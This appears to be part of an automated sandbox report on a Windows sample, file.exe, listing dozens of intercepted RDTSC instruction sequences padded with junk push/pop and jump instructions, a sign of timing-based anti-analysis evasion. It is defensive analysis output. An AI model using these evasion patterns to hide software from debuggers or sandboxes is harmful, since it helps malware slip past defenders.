Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E34 second address: 1376E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FBAA4B8B5EFh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E50 second address: 1376E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FBAA4BFA4F6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E61 second address: 1376E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E68 second address: 1376E70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376E70 second address: 1376E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E5DD second address: 137E5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E5E1 second address: 137E5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E5E7 second address: 137E5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C81F second address: 137C846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FBAA4B8B5F9h 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CB03 second address: 137CB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBAA4BFA4FCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CB14 second address: 137CB36 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FBAA4B8B5F8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CB36 second address: 137CB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D10A second address: 137D114 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBAA4B8B5EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D114 second address: 137D121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D3B2 second address: 137D3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D3B6 second address: 137D3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jng 00007FBAA4BFA4F6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D3C8 second address: 137D3D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D6D0 second address: 137D6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D6D4 second address: 137D6D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D9B3 second address: 137D9B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E01D second address: 137E022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E2BB second address: 137E2CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137E2CC second address: 137E2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13821BF second address: 13821D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FDh 0x00000007 jp 00007FBAA4BFA4F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382470 second address: 1382476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382476 second address: 1382480 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBAA4BFA4F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382480 second address: 1382486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382CCE second address: 1382CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FBAA4BFA502h 0x0000000c jp 00007FBAA4BFA508h 0x00000012 jmp 00007FBAA4BFA4FCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1387735 second address: 1387743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1387743 second address: 1387757 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 js 00007FBAA4BFA4F6h 0x0000000d jg 00007FBAA4BFA4F6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1387757 second address: 1387763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBAA4B8B5E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1387763 second address: 1387786 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FBAA4BFA509h 0x00000010 jmp 00007FBAA4BFA503h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F133 second address: 138F137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F137 second address: 138F13D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D1E2 second address: 138D1E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D1E6 second address: 138D1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D604 second address: 138D610 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBAA4B8B5E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D765 second address: 138D771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBAA4BFA50Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DA52 second address: 138DA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5F2h 0x00000009 popad 0x0000000a push ecx 0x0000000b jbe 00007FBAA4B8B5E6h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DD86 second address: 138DD8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DD8D second address: 138DDAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DF28 second address: 138DF2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E7F2 second address: 138E7F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EF7F second address: 138EFA8 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBAA4BFA4F6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FBAA4BFA504h 0x00000011 pushad 0x00000012 jo 00007FBAA4BFA4F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EFA8 second address: 138EFCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5EFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FBAA4B8B5E6h 0x00000012 js 00007FBAA4B8B5E6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EFCA second address: 138EFDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007FBAA4BFA4FEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EFDA second address: 138EFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EFE4 second address: 138EFE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CD4D second address: 138CD53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CD53 second address: 138CD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBAA4BFA506h 0x0000000c jng 00007FBAA4BFA4F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CD76 second address: 138CD7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CD7E second address: 138CDBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA506h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007FBAA4BFA503h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBAA4BFA4FCh 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A4E24 second address: 13A4E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6986 second address: 13A6994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FBAA4BFA4F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6994 second address: 13A69A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FBAA4B8B5E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A69A7 second address: 13A69AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A69AB second address: 13A69B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A6B5C second address: 13A6B62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3CAC second address: 13B3CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBAA4B8B5E6h 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c jng 00007FBAA4B8B60Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3CC1 second address: 13B3CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBAA4BFA4F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B96DD second address: 13B9708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jo 00007FBAA4B8B5E6h 0x0000000c jmp 00007FBAA4B8B5EEh 0x00000011 jne 00007FBAA4B8B5E6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c ja 00007FBAA4B8B5E6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9708 second address: 13B970C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B970C second address: 13B971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007FBAA4B8B5E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B971F second address: 13B9740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBAA4BFA509h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9740 second address: 13B974D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jp 00007FBAA4B8B5E6h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0B81 second address: 13C0B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA4FEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007FBAA4BFA4F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0B9E second address: 13C0BAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FBAA4B8B5E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF471 second address: 13BF477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF477 second address: 13BF490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FBAA4B8B5EFh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF490 second address: 13BF4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jns 00007FBAA4BFA4F6h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FBAA4BFA4F6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF4A8 second address: 13BF4B4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBAA4B8B5E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF828 second address: 13BF82D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF986 second address: 13BF996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4B8B5ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF996 second address: 13BF99C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BF99C second address: 13BF9C8 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBAA4B8B5FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FBAA4B8B5E6h 0x00000010 jp 00007FBAA4B8B5E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFCB8 second address: 13BFCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BFCBE second address: 13BFCE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBAA4B8B5F3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007FBAA4B8B5E6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C08BA second address: 13C08BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC4F2 second address: 13CC502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4B8B5EBh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D40DD second address: 13D40E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6396 second address: 13D63AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FBAA4B8B5E6h 0x0000000d jns 00007FBAA4B8B5E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D13E0 second address: 13D13E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E2B2C second address: 13E2B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA47E second address: 12DA482 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA482 second address: 12DA488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA488 second address: 12DA48E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4B13 second address: 13E4B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBAA4B8B5EFh 0x0000000a pushad 0x0000000b jg 00007FBAA4B8B5E6h 0x00000011 jns 00007FBAA4B8B5E6h 0x00000017 pushad 0x00000018 popad 0x00000019 js 00007FBAA4B8B5E6h 0x0000001f popad 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4719 second address: 13E4736 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA504h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4851 second address: 13E488E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e jmp 00007FBAA4B8B5F1h 0x00000013 jc 00007FBAA4B8B5F9h 0x00000019 push edx 0x0000001a pop edx 0x0000001b jmp 00007FBAA4B8B5F1h 0x00000020 pushad 0x00000021 push esi 0x00000022 pop esi 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA38B second address: 13FA3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBAA4BFA509h 0x00000009 pop ebx 0x0000000a push edx 0x0000000b ja 00007FBAA4BFA4F6h 0x00000011 pop edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA52F second address: 13FA541 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBAA4B8B5E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FBAA4B8B5E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA541 second address: 13FA568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FBAA4BFA4F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBAA4BFA509h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FA568 second address: 13FA56C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FAAA6 second address: 13FAAAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FAAAC second address: 13FAAB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FAD79 second address: 13FAD94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBAA4BFA507h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14041AB second address: 14041AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
